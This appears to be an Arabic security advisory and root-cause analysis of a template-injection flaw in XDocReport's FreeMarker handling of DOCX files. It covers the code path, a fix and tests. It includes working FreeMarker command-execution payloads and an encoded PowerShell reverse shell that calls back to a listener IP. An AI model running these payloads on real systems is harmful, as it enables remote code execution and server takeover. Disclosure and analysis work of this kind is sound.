
CVE-2025-64087 (SSTI)
نظرة عامة على الثغرة
حقن قالب من جانب الخادم (SSTI) هو ثغرة أمنية في الويب تسمح للمهاجم بحقن تعليمات برمجية ضارة في القوالب المستخدمة من قبل أنظمة إدارة المحتوى (CMS) وأطر العمل (framework) الويب، بهدف تنفيذ هجمات عن بُعد، أو الحصول على معلومات حساسة، أو تنفيذ أنشطة اختراق للنظام.
SSTI هو أحد أشكال ثغرات الحقن (مثل SQL Injection و XSS وما إلى ذلك)، حيث يستغل المهاجم استخدام أنظمة القوالب لنشر تعليمات برمجية ضارة عن بُعد. عندما يتم تنفيذ هجوم SSTI بنجاح، يمكن للمهاجم تنفيذ التعليمات البرمجية الخاصة به على الخادم، مما يسمح له بتنفيذ هجمات عن بُعد، مثل جمع المعلومات الحساسة، وتنفيذ أنشطة اختراق النظام، والوصول إلى الموارد غير المصرح بها.
تحدث ثغرة SSTI عادةً بسبب استخدام أنظمة قوالب غير آمنة، أو بسبب عدم فحص ومعالجة معلمات الإدخال قبل إدراجها في القوالب. إذا تم تنفيذ هجوم SSTI بنجاح، فقد تكون العواقب وخيمة وتسبب خسائر كبيرة للمؤسسة المستهدفة.
تأثير الأعمال
يمكن أن تسبب ثغرة SSTI العديد من العواقب الوخيمة، بما في ذلك:
تنفيذ تعليمات برمجية ضارة: يمكن للمهاجم استخدام هذه الثغرة لتنفيذ تعليمات برمجية ضارة على الخادم، مما يسمح بسرقة البيانات، أو تنفيذ إجراءات غير قانونية على النظام، أو حتى السيطرة الكاملة على الخادم.
كشف المعلومات الحساسة: يمكن أن تسمح SSTI للمهاجم بقراءة أو تعديل أو حذف الملفات على الخادم. إذا كانت هذه الملفات تحتوي على معلومات حساسة، مثل الحسابات وكلمات المرور، فيمكن للمهاجم كشف هذه المعلومات بسهولة.
هجمات التهديد أو الاحتيال على المستخدمين: يمكن للمهاجم استخدام SSTI لتنفيذ هجمات تهديد أو احتيال على المستخدمين، عن طريق تغيير محتوى موقع الويب أو إضافة أزرار مخصصة مزيفة. إذا قام المستخدم بالنقر على هذه الأزرار، يمكن للمهاجم سرقة معلومات المستخدم أو تثبيت برامج ضارة على أجهزتهم.
تم العثور على ثغرة حقن قالب من جانب الخادم (SSTI) في OpenSAGRES XDocReport عند معالجة قوالب DOCX باستخدام محرك FreeMarker. في ظل تكوينات معينة، يمكن للقوالب المصممة خصيصاً أن تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE).
يسمح موقع إدارة الموارد البشرية للمستخدمين برفع ملفات مستندات .docx إلى النظام. أثناء المعالجة، يستخدم التطبيق محرك القوالب FreeMarker (في الملف FreemarkerTemplateEngine.java) لتقديم المحتوى ${"freemarker.template.utility.Execute"?new()("whoami")} دون وجود آلية للتحكم أو تصفية محتوى الإدخال.
تسمح هذه الثغرة للمهاجم بحقن تعبيرات ضارة في ملف .docx (قالب)، مما يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE) على الخادم ويمكن استغلالها لسرقة المعلومات أو السيطرة على النظام.
fr.opensagres.xdocreport.template.freemarker — XDocReport (الإصدارات من 1.0.0 إلى 2.1.0).
https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java لا يتم إجراء فحص لمحتوى ملف xdoc المدخل. يتم تحميل محتوى القالب مباشرة وإرساله إلى process(context, writer, template) لمعالجته بواسطة محرك FreeMarker دون أي آلية عزل (sandboxing) أو تقييد للتوجيهات/التعبيرات. ونتيجة لذلك، يمكن للمهاجم تقديم قالب يحتوي على تعبيرات/أوامر FreeMarker ضارة، مما يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE)..docx يحتوي على الحمولة التالية:```
${"freemarker.template.utility.Execute"?new()("calc")}
2. تم التنفيذ بنجاح وفتح تطبيق الحاسبة

3. بالمثل، للحصول على معلومات المستخدم الجاري تشغيله على النظام باستخدام payload:```
${"freemarker.template.utility.Execute"?new()("whoami")}
.docx بعد معالجته بواسطة محرك القوالب يقوم بإرجاع بيانات النظام


6. رفع التأثير إلى RCE
- جهاز الاستماع هو wsl وعنوان IP الخاص به هو `172.26.208.130`

- الاستغلال باستخدام الحمولة التالية:
```java
${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}
.docx عبر xdocreportxdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java أضف المحتوى التاليطريقة الإصلاح التي اتبعتها لا تزال تسمح بعرض الكائنات والخصائص بشكل طبيعي مثل ${cuong.name} وتمنع فقط الوظائف المدمجة الخطيرة
${'freemarker.template.utility.Execute'?new()('calc')} - محظور بواسطة ALLOWS_NOTHING_RESOLVER${'java.lang.Runtime'?api.getRuntime()} - محظور بواسطة setAPIBuiltinEnabled(false)?new() و ?api محظورةالمسار: template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java
التغييرات:
✅ إضافة استيراد: java.util.regex.Pattern
✅ إضافة طريقة validateTemplateSecurity(Reader reader) — التحقق من الأنماط الخطيرة
✅ تحديث processNoCache() — إضافة التحقق قبل إنشاء القالب
✅ تحديث process(String templateName, …) — إضافة التحقق إلى هذه الطريقة
المسار: template/fr.opensagres.xdocreport.template.freemarker/src/test/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngineSecurityTestCase.java
التغييرات:
${"freemarker.template.utility.Execute"?new()("whoami")}?new, java.lang.Runtime, java.lang.ProcessBuilder, إلخ.| الملف | نوع التغيير | الغرض |
|---|---|---|
| FreemarkerTemplateEngine.java | تعديل | إضافة حماية SSTI |
| FreemarkerTemplateEngineSecurityTestCase.java | ملف جديد | اختبار منطق التحقق |
في الإصدار 2.2.0 تم تفعيل آلية الحماية ومنع SSTI بنجاح
import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// Đọc file đầu vào chứa biểu thức Velocity
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào
InputStream input = new FileInputStream(docxTemplate);
// Load template sử dụng FreeMarker
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
// Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
IContext context = report.createContext();
// Xuất ra file mới
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ Đã tạo file result.docx thành công.");
} catch (Exception e) {
System.err.println("❌ Lỗi xử lý file:");
e.printStackTrace();
}
}
}
- المكتبة التي يجب استيرادها```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>vcs1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>18</maven.compiler.source>
<maven.compiler.target>18</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- Template engine: FreeMarker -->
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
<version>2.0.3</version>
</dependency>
</dependencies>
</project>
A نقطة البداية (entry points / sources)```java File docxTemplate = new File("C:\Users\HP\Downloads\vcspentest.docx");
→ المصدر الرئيسي هو ملف DOCX هذا — إذا تم رفع/كتابة الملف بواسطة المستخدم، فإن محتوى القالب بداخله (FreeMarker syntax) هو بيانات غير موثوقة.```
InputStream input = new FileInputStream(docxTemplate);
→ اقرأ محتوى الملف لإعادة توجيهه إلى XDocReport.```java IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
- loadReport(...) سيقوم بتحليل ملف DOCX، والعثور على الإدخالات/القوالب في DOCX وإنشاء IXDocReport (داخليًا سيقوم بتهيئة كائن Template من FreeMarker أو الاحتفاظ بقارئ للقالب).
- محتوى القالب في ملف DOCX أصبح الآن موجودًا في كائن التقرير (لم يتم تنفيذه بعد).


zipInputStream.getNextEntry() يتكرر عبر كل إدخال (كل ملف) داخل ZIP (.docx).
archive = new XDocArchive(...) — إذا لم يكن هناك archive، فقم بتهيئة كائن لتنظيم/تسجيل إدخالات المستند.

خلاصة: هذا الجزء يقوم بفك ضغط محتوى DOCX إلى هيكل داخلي (XDocArchive) ليتمكن الجزء التالي من الوصول إلى الملفات الفرعية (document.xml، ...)```java
private IXDocReport loadReport( InputStream sourceStream, String reportId, String templateEngineKind,
ITemplateEngine templateEngine, boolean cacheReport )
throws IOException, XDocReportException
{
initializeIfNeeded();
// 2) zip was loaded, create an instance of report
IXDocReport report = createReport( sourceStream );
// 3) Update the report id if need.
if ( StringUtils.isEmpty( reportId ) )
{
reportId = report.toString();
}
report.setId( reportId );
// 4) Search or set the template engine.
if ( templateEngine == null && StringUtils.isNotEmpty( templateEngineKind ) )
{
// Template engine was not forced.
// Search template engine
String documentKind = report.getKind();
templateEngine =
TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, documentKind );
if ( templateEngine == null )
{
templateEngine =
TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, null );
}
}
report.setTemplateEngine( templateEngine );
if ( cacheReport )
{
registerReport( report );
}
return report;
}
| خطوة | الإجراء | الغرض |
|---|---|---|
| 1 | قراءة ملف DOCX | الحصول على هيكل التقرير الأصلي |
| 2 | إنشاء IXDocReport | يمثل القالب |
| 3 | تعيين المعرف | إدارة فريدة |
| 4 | اختيار محرك القالب | لمعالجة التعبيرات (Freemarker/Velocity) |
| 5 | التخزين المؤقت إذا لزم الأمر | تحسين الأداء |
| 6 | إرجاع التقرير | يستخدم لعرض الملف الناتج |
باختصار لا توجد آلية للتحقق من SSTI في IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker); بل يتم فقط تحميل ملفات xml داخل docx وإرجاع IXDocReport report جاهز للمعالجة (مثل العرض، دمج البيانات...).
في report.process(context, out);
عند التعمق داخل هذه الدالة، يتم استدعاء preprocess(...) لتحليل XML وقراءة كل إدخال XML، ثم تحليل محتوى XML وإنشاء BufferedDocument ثم الكتابة إلى Writer (هذه هي نسخة XML المعالجة مبدئيًا).
```java
public boolean preprocess( String entryName, InputStream reader, Writer writer, FieldsMetadata fieldsMetadata,
IDocumentFormatter formatter, Map<String, Object> sharedContext )
throws XDocReportException, IOException
{
try
{
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
BufferedDocumentContentHandler<?> contentHandler =
createBufferedDocumentContentHandler( entryName, fieldsMetadata, formatter, sharedContext );
xmlReader.setContentHandler( contentHandler );
xmlReader.parse( new InputSource( reader ) );
BufferedDocument document = contentHandler.getBufferedDocument();
if ( document != null )
{
document.save( writer );
// StringWriter s = new StringWriter();
// document.save( s );
// System.err.println( s );
return true;
}
return false;
}
catch ( SAXException e )
{
throw new XDocReportException( e );
}
}

ثم ينتقل إلى `processNoCache()` ويستدعي `getReader()`


تُستخدم الدالة `getReader()` لإضافة غلاف من توجيهات الهروب (escape directive) حول القالب بأكمله، وذلك لضمان معالجة المحتوى بأمان (هروب HTML، تجنب الحقن).

القالب الأصلي:```xml
<w:p>
<w:t>Hello ${name}!</w:t>
</w:p>
بعد معالجة getReader():```xml [#-- Hello ${name}! [/#escape][#--]]>--]
يساعد محرك Freemarker على القراءة بشكل أكثر أمانًا:
- حماية XML: هروب الأحرف الخاصة في XML
- معالجة آمنة: تجنب الأخطاء عند تحليل قالب Freemarker
ثم يتم استدعاء `FMParser` لتحليل بناء جملة Freemarker

أخيرًا، في `process()` يتم استدعاء `environment.process();` وقارئ البيانات```
public void process() throws TemplateException, IOException {
Object savedEnv = threadEnv.get();
threadEnv.set(this);
try {
// Cached values from a previous execution are possibly outdated.
clearCachedValues();
try {
doAutoImportsAndIncludes(this);
visit(getTemplate().getRootTreeNode());
// It's here as we must not flush if there was an exception.
if (getAutoFlush()) {
out.flush();
}
} finally {
// It's just to allow the GC to free memory...
clearCachedValues();
}
} finally {
threadEnv.set(savedEnv);
}
}
👉 هذه هي أهم خطوة — حيث يحدث العرض الفعلي.
getTemplate() يعيد القالب الذي تم تحليله (AST).
getRootTreeNode() هو العقدة الجذرية لشجرة النحو التي أنشأها FMParser أثناء التحليل.
visit() هو API الأساسي لـ FreeMarker، يستخدم لاجتياز وعرض كل عنصر من القالب، ومعرف في freemarker.core.Environment
عند مواجهة TextBlock → كتابة النص إلى المخرجات.
عند مواجهة Interpolation (مثل ${user.name}) → البحث في dataModel، الحصول على القيمة، كتابتها إلى المخرجات.
عند مواجهة #if, #list, #include, macro → معالجة المنطق المقابل.```java void visit(TemplateElement element) throws IOException, TemplateException { // ATTENTION: This method body is manually "inlined" into visit(TemplateElement[]); keep them in sync! pushElement(element); try { TemplateElement[] templateElementsToVisit = element.accept(this); if (templateElementsToVisit != null) { for (TemplateElement el : templateElementsToVisit) { if (el == null) { break; // Skip unused trailing buffer capacity } visit(el); } } } catch (TemplateException te) { handleTemplateException(te); } finally { popElement(); } // ATTENTION: This method body above is manually "inlined" into visit(TemplateElement[]); keep them in sync! }



يتم التشغيل عند entryName `word/document.xml`

ثم القفز إلى الدالة `accept()`
```java
TemplateElement[] accept(Environment env) throws TemplateException, IOException {
final Object moOrStr = calculateInterpolatedStringOrMarkup(env);
final Writer out = env.getOut();
if (moOrStr instanceof String) {
final String s = (String) moOrStr;
if (autoEscape) {
markupOutputFormat.output(s, out);
} else {
out.write(s);
}
} else {
final TemplateMarkupOutputModel mo = (TemplateMarkupOutputModel) moOrStr;
final MarkupOutputFormat moOF = mo.getOutputFormat();
// ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
if (moOF == outputFormat) {
moOF.output(mo, out);
} else if (!outputFormat.isOutputFormatMixingAllowed()) {
final String srcPlainText;
// ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
srcPlainText = moOF.getSourcePlainText(mo);
if (srcPlainText == null) {
throw new _TemplateModelException(escapedExpression,
"The value to print is in ", new _DelayedToString(moOF),
" format, which differs from the current output format, ",
new _DelayedToString(outputFormat), ". Format conversion wasn't possible.");
}
if (markupOutputFormat != null) {
markupOutputFormat.output(srcPlainText, out);
} else {
out.write(srcPlainText);
}
} else if (markupOutputFormat != null) {
markupOutputFormat.outputForeign(mo, out);
} else {
moOF.output(mo, out);
}
}
return null;
}
```java
final TemplateModel eval(Environment env) throws TemplateException {
try {
return constantValue != null ? constantValue : _eval(env);
} catch (FlowControlException | TemplateException e) {
throw e;
} catch (Exception e) {
if (env != null && EvalUtil.shouldWrapUncheckedException(e, env)) {
throw new _MiscTemplateException(
this, e, env, "Expression has thrown an unchecked exception; see the cause exception.");
} else if (e instanceof RuntimeException) {
throw (RuntimeException) e;
} else {
throw new UndeclaredThrowableException(e);
}
}
}









تدفق التنفيذ في دالة `visit()` كما يلي```
visit(Interpolation) // gọi accept(...)
└─ Interpolation.accept(env)
└─ calculateInterpolatedStringOrMarkup(env)
└─ expression.eval(env)
└─ (đến _eval) target.eval(env) // trả TemplateMethodModel (built-in new()/Execute)
└─ targetMethod.exec(arguments) ← exec() thực thi -> chạy `calc` ← 💥 SSTI xảy ra ở đây
[User uploads DOCX template]
│
▼
┌──────────────────────────────────────────┐
│ XDocReportRegistry.loadReport(...) │
│ - Nhận InputStream (file .docx) │
│ - Xác định TemplateEngineKind=Freemarker│
│ - Gọi createReport(...) │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ FreemarkerTemplateEngine.loadTemplate() │
│ - Gọi new Template(templateName, Reader,│
│ Configuration) │
│ - => FMParser parse nội dung template │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ FMParser(this, reader, config) │
│ - Đọc nội dung file (XML trong DOCX) │
│ - Phân tích cú pháp │
│ Tạo AST (cây cú pháp): │
│ ├─ TextBlock ("Hello") │
│ ├─ DollarVariable (${name}) │
│ └─ FunctionCall (${Runtime.exec(...)})│
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Environment env = │
│ template.createProcessingEnvironment() │
│ env.process() │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Environment.process() │
│ - clearCachedValues() │
│ - doAutoImportsAndIncludes() │
│ - visit(getTemplate().getRootTreeNode())│
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ visit(TemplateElement node) │
│ - node.accept(env) │
│ - Ghi kết quả ra writer (output stream) │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Nếu node là ${...} │
│ ⇒ ExpressionEvaluator được gọi │
│ ⇒ eval() biểu thức bên trong ${} │
│ ⇒ Có thể truy cập method Java nếu chưa │
│ bị sandbox hoặc hạn chế │
│ ⇒ Ví dụ: ${"freemarker.template.utility.Execute"?new()("calc.exe")} │
└──────────────────────────────────────────┘
│
▼
🚨 Kết quả: Server-Side Template Injection (SSTI)
## 🔍 **ملخص النقاط الرئيسية القابلة للاستغلال**
| المرحلة | الفئة | الدور | الصلة بـ SSTI |
| ----------------------- | -------------------- | -------------------- | ------------------------- |
| `loadReport()` | `XDocReportRegistry` | تحميل القالب | لا سيطرة على المدخلات |
| `getReader()` | `TemplateEngine` | قراءة بيانات القالب | قد يحتوي على حمولة |
| `FMParser` | `freemarker.core` | تحليل المحتوى | يتم تحليل المتغيرات `${}` |
| `Environment.process()` | `freemarker.core` | عرض القالب | استدعاء `visit()` لكل عقدة |
| `visit()` / `eval()` | `freemarker.core` | تنفيذ التعبير | **نقطة SSTI / RCE** |
---
## المستندات
- https://drive.google.com/drive/folders/1XYFtxs5O3SMW0FemNMZ_1ft1ueFixhVz?usp=drive_link